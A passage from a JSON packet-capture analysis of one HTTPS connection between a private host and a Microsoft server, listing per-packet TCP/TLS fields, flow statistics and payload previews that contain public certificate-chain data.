443, \"tcp_seq\": 1256293775, \"tcp_ack\": 2330694334, \"tcp_window\": 1024, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 93, \"timestamp\": 1781447327.201691, \"timestamp_iso\": \"2026-06-14T19:58:47.201691\", \"timestamp_human\": \"2026-06-14 19:58:47.201\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"52.97.201.82\", \"ttl\": 128, \"ip_id\": 61260, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64012, \"dst_port\": 443, \"tcp_seq\": 1256293775, \"tcp_ack\": 2330696625, \"tcp_window\": 1024, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 94, \"timestamp\": 1781447327.209742, \"timestamp_iso\": \"2026-06-14T19:58:47.209742\", \"timestamp_human\": \"2026-06-14 19:58:47.209\", \"size\": 212, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\", \"TLS\", \"TLS\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"52.97.201.82\", \"ttl\": 128, \"ip_id\": 61261, \"ip_len\": 198, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64012, \"dst_port\": 443, \"tcp_seq\": 1256293775, \"tcp_ack\": 2330696625, \"tcp_window\": 1024, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 98, \"payload_preview\": \"61040f174e78e984e4fcd49c736af6bc808970dfb70a8ad206a626d0ed12753e6c21579f5851c166f8be4eb61642c122b53bdd4a45e0978654dcea9d77e32f4c6c0f070ce93f8ab165c09438758a9c9d4ab43cea3df984fae6208485b1754692d0fd\", \"payload_ascii\": \"a\\u0004\\u000f\\u0017Nxsjp\\n\\u0006&\\u0012u>l!WXQfN\\u0016B\\\";JETw/Ll\\u000f\\u0007\\f?e8uJ<= uF\"}, {\"packet_number\": 102, \"timestamp\": 1781447328.018388, \"timestamp_iso\": \"2026-06-14T19:58:48.018388\", \"timestamp_human\": \"2026-06-14 19:58:48.018\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"52.97.201.82\", \"ttl\": 128, \"ip_id\": 61262, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64012, \"dst_port\": 443, \"tcp_seq\": 1256293933, \"tcp_ack\": 2330697052, \"tcp_window\": 1022, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 103, \"timestamp\": 1781447328.019876, \"timestamp_iso\": \"2026-06-14T19:58:48.019876\", \"timestamp_human\": \"2026-06-14 19:58:48.019\", \"size\": 141, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"52.97.201.82\", \"ttl\": 128, \"ip_id\": 61263, \"ip_len\": 127, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64012, \"dst_port\": 443, \"tcp_seq\": 1256293933, \"tcp_ack\": 2330697052, \"tcp_window\": 1022, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 105, \"timestamp\": 1781447328.019965, \"timestamp_iso\": \"2026-06-14T19:58:48.019965\", \"timestamp_human\": \"2026-06-14 19:58:48.019\", \"size\": 170, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"52.97.201.82\", \"ttl\": 128, \"ip_id\": 61264, \"ip_len\": 156, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64012, \"dst_port\": 443, \"tcp_seq\": 1256294020, \"tcp_ack\": 2330697052, \"tcp_window\": 1022, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 107, \"timestamp\": 1781447328.020019, \"timestamp_iso\": \"2026-06-14T19:58:48.020019\", \"timestamp_human\": \"2026-06-14 19:58:48.020\", \"size\": 92, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"52.97.201.82\", \"ttl\": 128, \"ip_id\": 61265, \"ip_len\": 78, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64012, \"dst_port\": 443, \"tcp_seq\": 1256294136, \"tcp_ack\": 2330697052, \"tcp_window\": 1022, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 110, \"timestamp\": 1781447328.534925, \"timestamp_iso\": \"2026-06-14T19:58:48.534925\", \"timestamp_human\": \"2026-06-14 19:58:48.534\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"52.97.201.82\", \"ttl\": 128, \"ip_id\": 61266, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64012, \"dst_port\": 443, \"tcp_seq\": 1256294174, \"tcp_ack\": 2330697090, \"tcp_window\": 1022, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 118, \"timestamp\": 1781447329.411932, \"timestamp_iso\": \"2026-06-14T19:58:49.411932\", \"timestamp_human\": \"2026-06-14 19:58:49.411\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"52.97.201.82\", \"ttl\": 128, \"ip_id\": 61267, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64012, \"dst_port\": 443, \"tcp_seq\": 1256294174, \"tcp_ack\": 2330698204, \"tcp_window\": 1024, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 119, \"timestamp\": 1781447329.414432, \"timestamp_iso\": \"2026-06-14T19:58:49.414432\", \"timestamp_human\": \"2026-06-14 19:58:49.414\", \"size\": 118, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"52.97.201.82\", \"ttl\": 128, \"ip_id\": 61268, \"ip_len\": 104, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64012, \"dst_port\": 443, \"tcp_seq\": 1256294174, \"tcp_ack\": 2330698204, \"tcp_window\": 1024, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 122, \"timestamp\": 1781447330.15617, \"timestamp_iso\": \"2026-06-14T19:58:50.156170\", \"timestamp_human\": \"2026-06-14 19:58:50.156\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"52.97.201.82\", \"ttl\": 128, \"ip_id\": 61269, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64012, \"dst_port\": 443, \"tcp_seq\": 1256294238, \"tcp_ack\": 2330698868, \"tcp_window\": 1021, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 123, \"timestamp\": 1781447330.158138, \"timestamp_iso\": \"2026-06-14T19:58:50.158138\", \"timestamp_human\": \"2026-06-14 19:58:50.158\", \"size\": 124, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"52.97.201.82\", \"ttl\": 128, \"ip_id\": 61270, \"ip_len\": 110, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64012, \"dst_port\": 443, \"tcp_seq\": 1256294238, \"tcp_ack\": 2330698868, \"tcp_window\": 1021, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 126, \"timestamp\": 1781447330.79032, \"timestamp_iso\": \"2026-06-14T19:58:50.790320\", \"timestamp_human\": \"2026-06-14 19:58:50.790\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"52.97.201.82\", \"ttl\": 128, \"ip_id\": 61271, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64012, \"dst_port\": 443, \"tcp_seq\": 1256294308, \"tcp_ack\": 2330699496, \"tcp_window\": 1018, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 128, \"timestamp\": 1781447330.802219, \"timestamp_iso\": \"2026-06-14T19:58:50.802219\", \"timestamp_human\": \"2026-06-14 19:58:50.802\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"52.97.201.82\", \"ttl\": 128, \"ip_id\": 61272, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64012, \"dst_port\": 443, \"tcp_seq\": 1256294308, \"tcp_ack\": 2330699496, \"tcp_window\": 0, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": true, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"RST,ACK\"}], \"tcp_flags\": {\"SYN\": 1, \"ACK\": 17, \"PSH\": 7, \"RST\": 1}, \"packet_sizes\": [66, 54, 262, 54, 54, 54, 212, 54, 141, 170, 92, 54, 54, 118, 54, 124, 54, 54], \"inter_packet_intervals\": [0.00023698806762695312, 0.0003151893615722656, 0.42807793617248535, 7.605552673339844e-05, 0.0003788471221923828, 0.008051156997680664, 0.8086459636688232, 0.0014879703521728516, 8.893013000488281e-05, 5.412101745605469e-05, 0.5149059295654297, 0.877007007598877, 0.0025000572204589844, 0.7417378425598145, 0.0019681453704833984, 0.6321818828582764, 0.011898994445800781], \"connection_type\": \"TCP Connection\", \"threat_level\": \"low\", \"duration\": 4.029613018035889, \"avg_packet_size\": 95.83333333333333, \"packets_per_second\": 4.466930179010973, \"bytes_per_second\": 428.08080882188494, \"min_packet_size\": 54, \"max_packet_size\": 262, \"median_packet_size\": 54, \"avg_interval\": 0.23703605988446405, \"min_interval\": 5.412101745605469e-05, \"max_interval\": 0.877007007598877}, {\"source\": \"52.97.201.82\", \"target\": \"10.152.152.11\", \"packet_count\": 17, \"total_bytes\": 11948, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"Padding\", \"_TLSEncryptedContent\", \"TLS\"], \"src_ports\": [443], \"dst_ports\": [64012], \"first_packet\": 1781447326.772633, \"last_packet\": 1781447330.790098, \"packets\": [{\"packet_number\": 83, \"timestamp\": 1781447326.772633, \"timestamp_iso\": \"2026-06-14T19:58:46.772633\", \"timestamp_human\": \"2026-06-14 19:58:46.772\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"52.97.201.82\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 0, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 64012, \"tcp_seq\": 2330688477, \"tcp_ack\": 1256293567, \"tcp_window\": 64240, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": true, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"SYN,ACK\"}, {\"packet_number\": 86, \"timestamp\": 1781447326.773166, \"timestamp_iso\": \"2026-06-14T19:58:46.773166\", \"timestamp_human\": \"2026-06-14 19:58:46.773\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"52.97.201.82\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 10903, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 64012, \"tcp_seq\": 2330688478, \"tcp_ack\": 1256293775, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 87, \"timestamp\": 1781447327.201075, \"timestamp_iso\": \"2026-06-14T19:58:47.201075\", \"timestamp_human\": \"2026-06-14 19:58:47.201\", \"size\": 2006, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"Padding\"], \"src_ip\": \"52.97.201.82\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 10904, \"ip_len\": 1992, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 64012, \"tcp_seq\": 2330688478, \"tcp_ack\": 1256293775, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 88, \"timestamp\": 1781447327.201227, \"timestamp_iso\": \"2026-06-14T19:58:47.201227\", \"timestamp_human\": \"2026-06-14 19:58:47.201\", \"size\": 2974, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"_TLSEncryptedContent\"], \"src_ip\": \"52.97.201.82\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 10906, \"ip_len\": 2960, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 64012, \"tcp_seq\": 2330690430, \"tcp_ack\": 1256293775, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 2920, \"payload_preview\": \"751f6530130603551d25040c300a06082b06010505070301300d06092a864886f70d01010c050003820201000b8233eaf48ac62dee66f91d7f48a957ca5b6d412250a456069217015644c86f70fb9f9ae036fac7747ac7012dba95edd6c66d5564fdd12f47eb3b458e96fad8538d06fce693def53d816cac1d3601dee05742355c51f4078d627f7b377d13679d43b8a4f4c437cccff470805732a3a1f64c291bf858b08977acb0be12a2978e14f920f7bdb00487c59ce8376acf1684faf32d4bd4d7b87ff369379f8651e5f44c238d5f001331fb01a3fd9d86fb29039037515862cabebd5b9aad5754d4637add547fb24136574594174dad714004b5e8a0211dcb39dc88de983d41ef2058ae557c918428e61c524669074034384927b909699c8a2fa6890ef813225a70a1e4cd50ad115decd7782e485fa2be0e7ef8e456c042bc0185da5fb76c0fd06bebb0d3b2a6e8c0a53498805a1633b351c7b1777b2fa9450972070f3e33392cc9f207a4a0a33c3258237ea4f5cdd07f4a21a82ac2e54372a0ef35d31eaeaae48e1e5f444afdc25dd40e2128bbee38d18a1db959cf53566019cb94dffbed27b156a0b72aa69d989c16362c955cba3c6568d58e41109697a28466395ba017b6a86d52aa456306fec524297cc9bc32838020522317072e66842207935d6ff9a74b27758d023a4d06844565547af323be12c096f1565665f1ba2da5416f336630318a57252082adf98074de885305f9a58256ed1a95f76efcd3ab7797fee7102ac556ea700007bc308207b8308205a0a0030201020213330000000b13e5667d4a9b558000000000000b300d06092a864886f70d01010c05003051310b3009060355040613025553311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e31223020060355040313194d6963726f736f667420544c532052534120526f6f74204732301e170d3235303830313230303235395a170d3239303630333230303235395a3057310b3009060355040613025553311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e312830260603550403131f4d6963726f736f667420544c5320473220525341204341204f43535020303430820222300d06092a864886f70d01010105000382020f003082020a02820201009c3a24085a1892f29ed560cde2e6fb8047db44ae2bdd6d107021154529aad2c7dce6c442b1a08d52e04f5c395506364d17c1586634e285529fe2a4fec6dec2c23b86bfcaad872906eb1d491d5f81dbb7a4ac561ad61287fd5f4049e2a00c6a84c64e6fdf24b89a95745a597fade93c13157840ccecdaef88364a90deea630794c3836a1aae98e6f164805a296704e856f421a6c5468dc8dd02abbc06f06c477823bb38b0bbfb4d71b0df22c37f1a7ef99daa412ad1de68dd9574253866c91611c5593d2ab168b9933b66e83ce1fca7ff2c6b50e0c0b9c8717393b177bfedaa4d0e0a55db139c72e069ad814cda23f906cb3fed428a868c0dd20c1525d08668eb7856aa2e5c08b34d33804eee353c2fc37a7dc16672606890f4ebf608ec13d789925f5c52f4879578b136e1b342536e3a373707c873751ebb5d6e67c99a7ccb4af3c6cdf04ef586fb143519463d97867264dd4336efd4578200220ca33aedb3657065f982a5bab8d2eac0688a3537a040f5fe028966a830f89447625747b27b9b8cc795bceb9af6c68c4489db16e61efde789fc81353530ea2f7d896452b3461934e33b574f0a182031efc5fdb9b127f6975935fb0ac244d6d0b2ed554d1d57487512d7f29860169ec4069cd4ae7e2e65c753e422251830636a9057c594b4f7e54d4c0d54c71fa93d4d0a460962d0232251e38e374cc5f40140990582d3a2b0530203010001a38202813082027d300e0603551d0f0101ff040403020186301006092b06010401823715010403020100301d0603551d0e04160414540cbcec18f77df103e284be34644467cf751f6530130603551d20040c300a3008060667810c01020230130603551d25040c300a06082b06010505070301301906092b0601040182371402040c1e0a0053007500620043004130120603551d130101ff040830060101ff020100301f0603551d23041830168014de918648b7a1315931f14b5f07a9dc8879daa8763081ab0603551d1f0481a33081a030819da0819aa081978649687474703a2f2f7777772e6d6963726f736f66742e636f6d2f706b696f70732f63726c2f4d6963726f736f6674253230544c53253230525341253230526f6f7425323047322e63726c864a687474703a2f2f63726c322e6d6963726f736f66742e636f6d2f706b696f70732f63726c2f4d6963726f736f6674253230544c53253230525341253230526f6f7425323047322e63726c3082011006082b06010505070101048201023081ff306306082b060105050730028657687474703a2f2f7777772e6d6963726f736f66742e636f6d2f706b696f70732f63657274732f4d6963726f736f6674253230544c53253230525341253230526f6f7425323047322532302d253230787369676e2e637274306906082b06010505073002865d687474703a2f2f6361697373756572732e6d6963726f736f66742e636f6d2f706b696f70732f63657274732f4d6963726f736f6674253230544c53253230525341253230526f6f7425323047322532302d253230787369676e2e637274302d06082b060105050730018621687474703a2f2f6f6e656f6373702e6d6963726f736f66742e636f6d2f6f637370300d06092a864886f70d01010c050003820201007c4871c2b6c045ab740fc63f49e2fc0fd675fdcd50d1e04bb3b3d1a8995ffe5d350d6c0bddd0ad6160188938e2f0b735d2b5213a0c0e5899387cd4d7dd024dd4dcf5ee90e37b6793a8acd41b50bbc54fe6d3f1b51ef0ff99bc2333b0c8a8a627d6d15bed6f14de4b071a0c50fd0edfbeeb4fb29810cb222ae61dd74ba7ae15d10136090b86434f4ee7c57e5ca36b832e493e9488998b52d3963f7198242f3782fa6c74f2bcdb0621bbb85067702415b60b228ff7b927e4037c8495b76604a99255c2bd11c7210a727f65c060a65049e9f62348203a8e9226a8178c98af14a73dce4cadc08e8c3c44f17ffb13f914d77b333d105e64e7273d0c4ce271d766ceaef74eb664ba542bb7fd03d798679837b20a6320e5b0fbd8a48d3a2e42229a22f42655833015c7a242b3bfd036c53652a773677a736e54acbce989d8a5eb1f6dac2750c4c8ebd41c54294dbbb6deabd7c7f11f1464ba7f473165ef797d14c4f019e48076e73b28009b446f2457f507dc8e5ab400589756b10bfa087571de1b53c8eebdf0ab224cbd6bba5d8a44593c246baabce97d8b5f4a4dd78c54b0ab769b80284d457465106021f98e795fda92fb178400dbc4ae8259813c27779e56f707c8bdbe3d91c5978ae69c0f591658486c7da41632ed16c92da796f5e4fdc5cf65a4ddd700e8c90ef49db2a40280cc1bf028ebb03177349ec3ccd7c89b36bbc525e200058d3082058930820471a00302010202100b0c6b2c466917b04773c647d4afc0c8300d06092a864886f70d01010c05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3235303532313030303030305a170d3239303631393233353935395a3051310b3009060355040613025553311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e31223020060355040313194d6963726f736f667420544c532052534120526f6f7420473230820222300d06092a864886f70d01010105000382020f003082020a0282020100dfea8b9f47e1281071af41d619db9257de6babe62edead3a6083b71398ac5bb9320b7beb9f72276b5d40abbe180693b20dd212edb874f57f2feaa81794f63316578ade207c21ddb7daacde4e64b05acd4b75f3ef02\", \"payload_ascii\": \"u\\u001fe0\\u0013\\u0006\\u0003U\\u001d%\\u0004\\f0\\n\\u0006\\b+\\u0006\\u0001\\u0005\\u0005\\u0007\\u0003\\u00010\\r\\u0006\\t*H\\r\\u0001\\u0001\\f\\u0005\\u0000\\u0003\\u0002\\u0001\\u0000\\u000b3-f\\u001d\\u007fHW[mA\\\"PV\\u0006\\u0017\\u0001VDop6tz\\u0001-mUd/G;ES\\u0006=l\\u001d6\\u0001WB5\\\\Q\\u0007b\\u007f{7}\\u0013gC7pW2L)\\u001bXw\\u0012\\u0014 \\u00047j\\u0016-K\\u007fi7QL#_\\u0000\\u00131\\u0001)\\u00037QXb[WTczT\\u007fA6WE\\u0017Mq@\\u0004!\\u001d9=A XU|(\\u001cRFi\\u0007@48I'\\ti/\\u000e\\u0013\\\"ZpP\\u0011]x.H_\\u000e~VB\\u0001_l\\u000fk4Z\\u00163Qw{/E\\tr\\u0007\\u000f>39,\\u0007<2X#~\\u007fJ!*Cr5\\u001e\\u001e_DJ]\\u000e!(8\\u001dYSV`\\u0019'V*\\u00166,\\\\<ehA\\u0010f9[\\u0017mREc\\u0006$)|2 R#\\u0017\\u0007.f\\\"\\u0007]oK'u\\u0002:M\\u0006EeTz#\\u0012VVe-Ao3f01W% tS\\u0005V\\u001anw\\u0010*Vp\\u0000\\u00070\\u00070\\u0005\\u0003\\u0002\\u0001\\u0002\\u0002\\u00133\\u0000\\u0000\\u0000\\u000b\\u0013f}JU\\u0000\\u0000\\u0000\\u0000\\u0000\\u000b0\\r\\u0006\\t*H\\r\\u0001\\u0001\\f\\u0005\\u00000Q1\\u000b0\\t\\u0006\\u0003U\\u0004\\u0006\\u0013\\u0002US1\\u001e0\\u001c\\u0006\\u0003U\\u0004\\n\\u0013\\u0015Microsoft Corporation1\\\"0 \\u0006\\u0003U\\u0004\\u0003\\u0013\\u0019Microsoft TLS RSA Root G20\\u001e\\u0017\\r250801200259Z\\u0017\\r290603200259Z0W1\\u000b0\\t\\u0006\\u0003U\\u0004\\u0006\\u0013\\u0002US1\\u001e0\\u001c\\u0006\\u0003U\\u0004\\n\\u0013\\u0015Microsoft Corporation1(0&\\u0006\\u0003U\\u0004\\u0003\\u0013\\u001fMicrosoft TLS G2 RSA CA OCSP 040\\u0002\\\"0\\r\\u0006\\t*H\\r\\u0001\\u0001\\u0001\\u0005\\u0000\\u0003\\u0002\\u000f\\u00000\\u0002\\n\\u0002\\u0002\\u0001\\u0000:$\\bZ\\u0018`GD+m\\u0010p!\\u0015E)BRO\\\\9U\\u00066M\\u0017Xf4R;)\\u0006\\u001dI\\u001d_V\\u001a\\u0012_@I\\fjNo$tZY\\u007f<\\u0013\\u0015x@6Jc\\u0007j\\u001adZ)g\\u0004V!F\\u0002\\u0006lGx#8Mq\\\"\\u007f\\u001a~A*ht%8f\\u0016\\u0011Y=*h;f<,kPqswM\\u000e\\nU\\u0013riL#\\u0006?B\\r\\f\\u0015%hxV.\\\\\\bM3N5</z}fr`h\\b\\u0013_\\\\Rx6BSn:77\\u0007su\\u001e]ng|JN\\u00145\\u0019F=rdC6W\\u0000\\\"\\f:epeh57@\\u0002f0GbWG{D\\u0016\\u001e550/}dRF\\u00194;WO\\n\\u0018 1'Y5\\nDUM\\u001dWHu\\u0012`\\u0016\\u0006~.eS\\\"%\\u00180cjWML\\rT\\u001f=M\\nF\\tb#\\\"Q7L\\u0001@\\u0005S\\u0002\\u0003\\u0001\\u0000\\u0001\\u00020\\u0002}0\\u000e\\u0006\\u0003U\\u001d\\u000f\\u0001\\u0001\\u0004\\u0004\\u0003\\u0002\\u00010\\u0010\\u0006\\t+\\u0006\\u0001\\u0004\\u00017\\u0015\\u0001\\u0004\\u0003\\u0002\\u0001\\u00000\\u001d\\u0006\\u0003U\\u001d\\u000e\\u0004\\u0016\\u0004\\u0014T\\f\\u0018}\\u00034dDgu\\u001fe0\\u0013\\u0006\\u0003U\\u001d \\u0004\\f0\\n0\\b\\u0006\\u0006g\\f\\u0001\\u0002\\u00020\\u0013\\u0006\\u0003U\\u001d%\\u0004\\f0\\n\\u0006\\b+\\u0006\\u0001\\u0005\\u0005\\u0007\\u0003\\u00010\\u0019\\u0006\\t+\\u0006\\u0001\\u0004\\u00017\\u0014\\u0002\\u0004\\f\\u001e\\n\\u0000S\\u0000u\\u0000b\\u0000C\\u0000A0\\u0012\\u0006\\u0003U\\u001d\\u0013\\u0001\\u0001\\u0004\\b0\\u0006\\u0001\\u0001\\u0002\\u0001\\u00000\\u001f\\u0006\\u0003U\\u001d#\\u0004\\u00180\\u0016\\u0014H1Y1K_\\u0007yv0\\u0006\\u0003U\\u001d\\u001f\\u000400Ihttp://www.microsoft.com/pkiops/crl/Microsoft%20TLS%20RSA%20Root%20G2.crlJhttp://crl2.microsoft.com/pkiops/crl/Microsoft%20TLS%20RSA%20Root%20G2.crl0\\u0001\\u0010\\u0006\\b+\\u0006\\u0001\\u0005\\u0005\\u0007\\u0001\\u0001\\u0004\\u0001\\u000200c\\u0006\\b+\\u0006\\u0001\\u0005\\u0005\\u00070\\u0002Whttp://www.microsoft.com/pkiops/certs/Microsoft%20TLS%20RSA%20Root%20G2%20-%20xsign.crt0i\\u0006\\b+\\u0006\\u0001\\u0005\\u0005\\u00070\\u0002]http://caissuers.microsoft.com/pkiops/certs/Microsoft%20TLS%20RSA%20Root%20G2%20-%20xsign.crt0-\\u0006\\b+\\u0006\\u0001\\u0005\\u0005\\u00070\\u0001!http://oneocsp.microsoft.com/ocsp0\\r\\u0006\\t*H\\r\\u0001\\u0001\\f\\u0005\\u0000\\u0003\\u0002\\u0001\\u0000|HqEt\\u000f?I\\u000fuPK_]5\\rl\\u000ba`\\u001885!:\\f\\u000eX8|\\u0002M{g\\u001bPO\\u001e#3'[o\\u0014K\\u0007\\u001a\\fP\\u000eO\\u0010\\\"*\\u001dK\\u0015\\u00016\\t\\u000bCON~\\\\k.I>R?q$/7lt\\u0006!Pgp$\\u0015\\u000b\\\"'\\u0003|f\\u0004U\\u0011!\\nr\\u007fe`PI#H :&\\u0017\\u0014=L<D\\u007f\\u0013\\u0014{3=\\u0010^d'=\\fLqfNdT+\\u0003g7\\nc 